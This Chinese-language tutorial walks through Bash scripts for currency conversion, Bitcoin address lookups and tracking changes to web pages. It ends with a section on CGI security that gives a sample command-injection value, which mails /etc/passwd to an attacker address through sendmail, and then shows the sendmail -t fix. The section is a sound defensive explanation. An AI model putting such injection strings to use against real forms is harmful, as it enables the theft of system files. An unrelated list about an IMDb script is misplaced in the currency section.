隨著網路技術的發展,網頁已成為重要的資訊來源。本文將介紹如何利用 Bash 指令碼從網頁擷取資料、進行處理,並示範貨幣轉換、比特幣地址資訊查詢及網頁變更追蹤等應用。這些指令碼有效利用線上資源,簡化了以往繁瑣的資料處理流程。我們將深入程式碼細節,探討其運作原理,並提出改進方向,例如提升安全性、支援 HTTPS 協定以及更精細的變更追蹤粒度控制等。
計算貨幣價值的指令碼最佳化
在早期的版本中,貨幣轉換是一項非常困難的任務,需要兩個指令碼:一個用於從金融網站提取轉換率並以特殊格式儲存,另一個則使用這些資料進行實際的轉換,例如從美元轉換為歐元。然而,在過去幾年中,網路已經變得更加成熟,當像Google這樣的網站提供簡單、適合指令碼使用的計算器時,我們沒有理由再進行大量的工作。
新版貨幣轉換指令碼
本版本的貨幣轉換指令碼,如清單7-16所示,直接利用Google的貨幣轉換器,網址為http://www.google.com/finance/converter。
程式碼解析
#!/bin/bash
# convertcurrency--給定金額和基礎貨幣,將其轉換為指定的目標貨幣,使用ISO貨幣識別符號。
# 利用Google的貨幣轉換器進行主要工作:
# http://www.google.com/finance/converter
if [ $# -eq 0 ]; then
echo "用法:$(basename $0) 金額 貨幣 轉換至貨幣"
echo "最常見的貨幣有CAD、CNY、EUR、USD、INR、JPY和MXN"
echo "使用 \"$(basename $0) list\" 取得支援的貨幣列表。"
fi
if [ $(uname) = "Darwin" ]; then
LANG=C # 解決OS X上與lynx無效位元序列的問題
fi
url="https://www.google.com/finance/converter"
tempfile="/tmp/converter.$$"
lynx=$(which lynx)
# 由於有多種用途,先取得這些資料。
currencies=$($lynx -source "$url" | grep "option value=" | \
cut -d\" -f2- | sed 's/">/ /' | cut -d\( -f1 | sort | uniq)
內容解密:
- 指令碼用途:該指令碼用於將指定的金額從一種貨幣轉換為另一種貨幣,使用Google的貨幣轉換器。
- 引數檢查:如果沒有提供任何引數,指令碼會顯示用法並離開。
- 環境設定:針對OS X系統的特定問題,設定
LANG=C以避免與lynx無效位元序列相關的問題。 - 變數定義:定義了
url、tempfile和lynx變數,分別代表Google貨幣轉換器的網址、臨時檔案的路徑和lynx命令的位置。 - 取得支援的貨幣:使用
lynx命令抓取Google貨幣轉換器頁面,並提取支援的貨幣列表。
如何運作
該指令碼首先檢查是否提供了引數,如果沒有,則顯示用法。然後,它根據作業系統的不同進行相應的設定。接著,它定義了必要的變數,並使用lynx命令抓取Google貨幣轉換器的頁面內容,以提取支援的貨幣列表。
最佳化與改進方向
- 隱藏不友好的IMDb電影ID號碼:可以修改
moviedata指令碼,以輸出簡單的選單取代IMDb ID號碼,讓使用者輸入索引值來選擇特定的電影。 - 自動處理單一匹配結果:當搜尋結果只有一筆時,指令碼可以自動識別並重新呼叫自身以取得該電影的詳細資料。
- 適應網站變更:由於網站結構的變更可能導致指令碼失效,因此需要定期檢查和更新指令碼,以確保其持續運作。
比特幣地址資訊擷取與貨幣轉換指令碼解析
簡介
本文將深入解析兩個實用的 Bash 指令碼:貨幣轉換器(convertcurrency)與比特幣地址資訊擷取器(getbtcaddr)。這兩個指令碼展示瞭如何利用 shell 指令碼自動化網路資料擷取與處理。
貨幣轉換器指令碼解析
程式碼結構
if [ $# -ne 4 ] ; then
# 處理非轉換請求
if [ "$1" = "list" ] ; then
echo "List of supported currencies:"
echo "$currencies"
fi
exit 0
fi
# 執行貨幣轉換
amount=$1
basecurrency="$(echo $2 | tr '[:lower:]' '[:upper:]')"
targetcurrency="$(echo $4 | tr '[:lower:]' '[:upper:]')"
$lynx -source "$url?a=$amount&from=$basecurrency&to=$targetcurrency" | \
grep 'id=currency_converter_result' | sed 's/<[^>]*>//g'
exit 0
內容解密:
- 引數驗證:指令碼首先檢查輸入引數是否正確(4個引數)。
- 特殊指令處理:支援
list指令顯示支援的貨幣列表。 - 貨幣轉換邏輯:
- 將輸入的金額和貨幣程式碼轉換為大寫。
- 使用
lynx命令擷取 Google 貨幣轉換器的結果。 - 透過
grep和sed處理 HTML 輸出,提取轉換結果。
執行範例
$ convertcurrency 75 eur to usd
75 EUR = 84.5132 USD
改進方向
- 輸出格式化:改善小數點後的位數顯示。
- 貨幣程式碼驗證:增加對無效貨幣程式碼的錯誤處理。
- 貨幣名稱顯示:將程式碼轉換為完整的貨幣名稱。
比特幣地址資訊擷取指令碼解析
程式碼結構
base_url="https://blockchain.info/q/"
balance=$(curl -s $base_url"addressbalance/"$1)
recv=$(curl -s $base_url"getreceivedbyaddress/"$1)
sent=$(curl -s $base_url"getsentbyaddress/"$1)
first_made=$(curl -s $base_url"addressfirstseen/"$1)
echo "Details for address $1"
echo -e "\tFirst seen: "$(date -d @$first_made)
echo -e "\tCurrent balance: "$balance
echo -e "\tSatoshis sent: "$sent
echo -e "\tSatoshis recv: "$recv
內容解密:
- API 呼叫:使用
curl命令呼叫 blockchain.info 的 API。 - 資料擷取:取得比特幣地址的餘額、收發金額和首次出現時間。
- 結果顯示:格式化輸出相關資訊。
執行範例
$ getbtcaddr 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
Details for address 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
First seen: Sat Jan 3 12:15:05 CST 2009
Current balance: 6554034549
Satoshis sent: 0
Satoshis recv: 6554034549
特別注意事項
- 輸入無效地址會傳回零值和錯誤的建立日期。
- 金額單位為「聰」(satoshis),需轉換為比特幣單位時要除以10^8。
網頁變更追蹤指令碼:Changetrack 詳解
Changetrack 是一個用於追蹤特定網頁變更的 Bash 指令碼。當網頁內容發生變化時,它會將更新後的網頁內容透過電子郵件傳送給指定的收件人。
指令碼功能與實作
引數檢查與設定
- 該指令碼需要兩個引數:目標 URL 和收件人的電子郵件地址。
- 若引數數量不正確,指令碼會輸出用法提示並離開。
網頁抓取與比較
- 使用
lynx -dump命令抓取網頁內容,並將其儲存在臨時檔案中。 - 將新抓取的內容與之前儲存的內容進行比較,若發現變化則進行進一步處理。
- 使用
變更通知
- 當網頁內容發生變化時,指令碼透過
sendmail將更新後的網頁內容傳送到指定電子郵件地址。 - 若收件人地址為
-,則直接在終端顯示變更差異。
- 當網頁內容發生變化時,指令碼透過
程式碼解析
#!/bin/bash
# changetrack--Tracks a given URL and, if it's changed since the last visit,
# emails the new page to the specified address
sendmail=$(which sendmail)
sitearchive="/tmp/changetrack"
tmpchanges="$sitearchive/changes.$$"
fromaddr="[email protected]"
dirperm=755
fileperm=644
trap "$(which rm) -f $tmpchanges" 0 1 15
內容解密:
sendmail=$(which sendmail):查詢系統中sendmail的路徑,用於稍後傳送郵件。sitearchive="/tmp/changetrack":設定一個目錄用於儲存抓取的網頁內容。trap命令用於在指令碼離開時刪除臨時檔案,避免資源浪費。
lynx -dump "$1" | uniq > $sitearchive/${fname}.new
if [ -f "$sitearchive/$fname" ] ; then
diff $sitearchive/$fname $sitearchive/${fname}.new > $tmpchanges
if [ -s $tmpchanges ] ; then
echo "Status: Site $1 has changed since our last check."
else
echo "Status: No changes for site $1 since last check."
rm -f $sitearchive/${fname}.new
exit 0
fi
內容解密:
- 使用
lynx -dump抓取網頁內容並存入${fname}.new。 - 透過
diff命令比較新舊內容,若有差異則輸出變更通知。
if [ "$2" != "-" ] ; then
( echo "Content-type: text/html"
echo "From: $fromaddr (Web Site Change Tracker)"
echo "Subject: Web Site $1 Has Changed"
echo "To: $2"
lynx -s -dump $1 | sed -e "s|src=\"|SRC=\"$baseurl|gi" \
-e "s|href=\"|HREF=\"$baseurl|gi" \
-e "s|$baseurl\/http:|http:|g"
) | $sendmail -t
else
diff $sitearchive/$fname $sitearchive/${fname}.new
fi
內容解密:
- 當收件人地址非
-時,透過sendmail傳送變更後的網頁內容,並使用sed對 HTML 中的相對路徑進行修正,以確保圖片和連結正常工作。 - 若收件人為
-,則直接輸出變更差異至終端。
使用方法與注意事項
執行指令碼
./changetrack "http://example.com" "[email protected]"可將
http://example.com的變更內容傳送至[email protected]。顯示差異
若希望直接在終端檢視差異,可執行:./changetrack "http://example.com" "-"安全性考量
- 指令碼使用
-t引數呼叫sendmail,可避免因使用者輸入惡意地址而導致的安全問題。 - 對 HTML 中的
src和href屬性進行重寫,以確保連結和圖片的正確性。
- 指令碼使用
網頁內容追蹤指令碼的實作與改進
在前一章中,我們探討瞭如何使用 shell 指令碼來處理與網頁相關的工作。在本章中,我們將深入瞭解如何使用 shell 指令碼實作一個網頁內容追蹤工具,並進一步討論如何改進這個指令碼,使其更加實用和安全。
網頁內容追蹤指令碼的基本實作
我們首先介紹一個簡單的 shell 指令碼,稱為 changetrack,它能夠追蹤指定網頁的內容變化。當第一次執行這個指令碼時,它會將網頁的內容郵寄給指定的使用者,如下所示:
$ changetrack http://www.intuitive.com/ [email protected]
Status: first visit to http://www.intuitive.com/. Copy archived for future analysis.
在後續的執行中,如果網頁內容發生了變化,指令碼才會再次郵寄更新後的內容給使用者。如果網頁沒有變化,則指令碼不會產生任何輸出,也不會傳送郵件:
$ changetrack http://www.intuitive.com/ [email protected]
$
內容解密:
- 指令碼功能:
changetrack指令碼主要用於監測指定網頁的內容是否發生變化。 - 首次執行:在第一次執行時,指令碼會將網頁內容存檔並郵寄給指定的使用者。
- 後續執行:如果網頁內容發生變化,指令碼會再次郵寄更新後的內容;否則,不會產生任何輸出或郵件。
改進網頁內容追蹤指令碼
雖然 changetrack 指令碼已經具備了基本的網頁內容追蹤功能,但仍有一些可以改進的地方,以使其更加實用和強大。
支援 HTTPS 協定:目前的指令碼只支援 HTTP 協定,可以透過更新正規表示式來使其支援 HTTPS 協定。
增加粒度控制:可以為指令碼新增一個粒度選項,讓使用者能夠指定只有當網頁內容發生一定程度的變化時,才認為網頁已經被更新。例如,可以透過將
diff命令的輸出結果透過管道傳遞給wc -l命令來計算變化的行數,從而實作粒度控制。diff_output=$(diff old_file new_file) changed_lines=$(echo "$diff_output" | wc -l) if [ $changed_lines -gt 3 ]; then # 傳送郵件通知使用者 fi內容解密:
diff命令:用於比較兩個檔案的差異。wc -l命令:用於計算diff命令輸出的行數,以判斷變化的程度。- 條件判斷:根據變化的行數決定是否傳送郵件通知使用者。
定時執行:可以將
changetrack指令碼放入cron任務中,定時執行,以實作自動化的網頁內容追蹤。批次處理 URL 和郵件地址:可以修改指令碼,使其能夠從資料檔案中讀取多個 URL 和對應的郵件地址,而不是僅僅接受命令列引數。這樣可以進一步提高指令碼的實用性。
網頁安全與 CGI 指令碼
在使用 shell 指令碼編寫 CGI 程式時,需要特別注意安全問題。一個常見的安全漏洞來源於未經檢查的外部輸入資料。例如,在處理使用者提交的表單資料時,如果不小心,可能會導致惡意使用者執行任意命令。
不安全的 CGI 指令碼示例
( echo "Subject: Thanks for your signup"
echo "To: $email ($name)"
echo ""
echo "Thanks for signing up. You'll hear from us shortly."
echo "-- Dave and Brandon"
) | sendmail $email
如果使用者輸入的 $email 變數值為 sendmail [email protected] < /etc/passwd; echo [email protected],則可能會導致 /etc/passwd 檔案被傳送到惡意信箱,從而帶來安全風險。
內容解密:
- 安全漏洞:未經檢查的外部輸入資料可能導致命令注入攻擊。
sendmail命令:用於傳送郵件,但需要小心處理輸入資料,以避免安全問題。
安全改進
使用 sendmail 命令的 -t 選項可以避免上述安全問題,因為它會讓 sendmail 從郵件本身中掃描有效的收件人地址,而不是直接使用外部輸入的變數。
( echo "Subject: Thanks for your signup"
echo "To: $email ($name)"
echo ""
echo "Thanks for signing up. You'll hear from us shortly."
echo "-- Dave and Brandon"
) | sendmail -t
內容解密:
-t選項:告訴sendmail從郵件頭中提取收件人地址,避免直接使用可能被汙染的外部輸入。- 提高安全性:透過這種方式,可以有效防止惡意使用者利用輸入資料執行任意命令。